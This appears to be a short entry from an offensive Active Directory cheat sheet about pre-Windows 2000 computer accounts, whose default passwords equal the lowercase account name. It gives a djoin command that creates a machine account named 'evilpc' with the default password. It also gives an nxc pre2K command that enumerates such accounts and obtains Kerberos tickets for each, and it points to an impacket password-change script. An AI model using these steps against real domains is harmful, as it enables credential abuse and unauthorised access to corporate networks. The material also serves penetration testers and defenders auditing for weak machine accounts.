# Password - Pre-Created Computer Account When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**. ```ps1 # Create a machine with default password # must be run from a domain joined device connected to the domain djoin /PROVISION /DOMAIN /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc ``` * When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`. * Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304) ## Enumerate Pre-Created Computer Account Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each ```ps1 nxc -u username -p password -M pre2K ``` ## References * [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)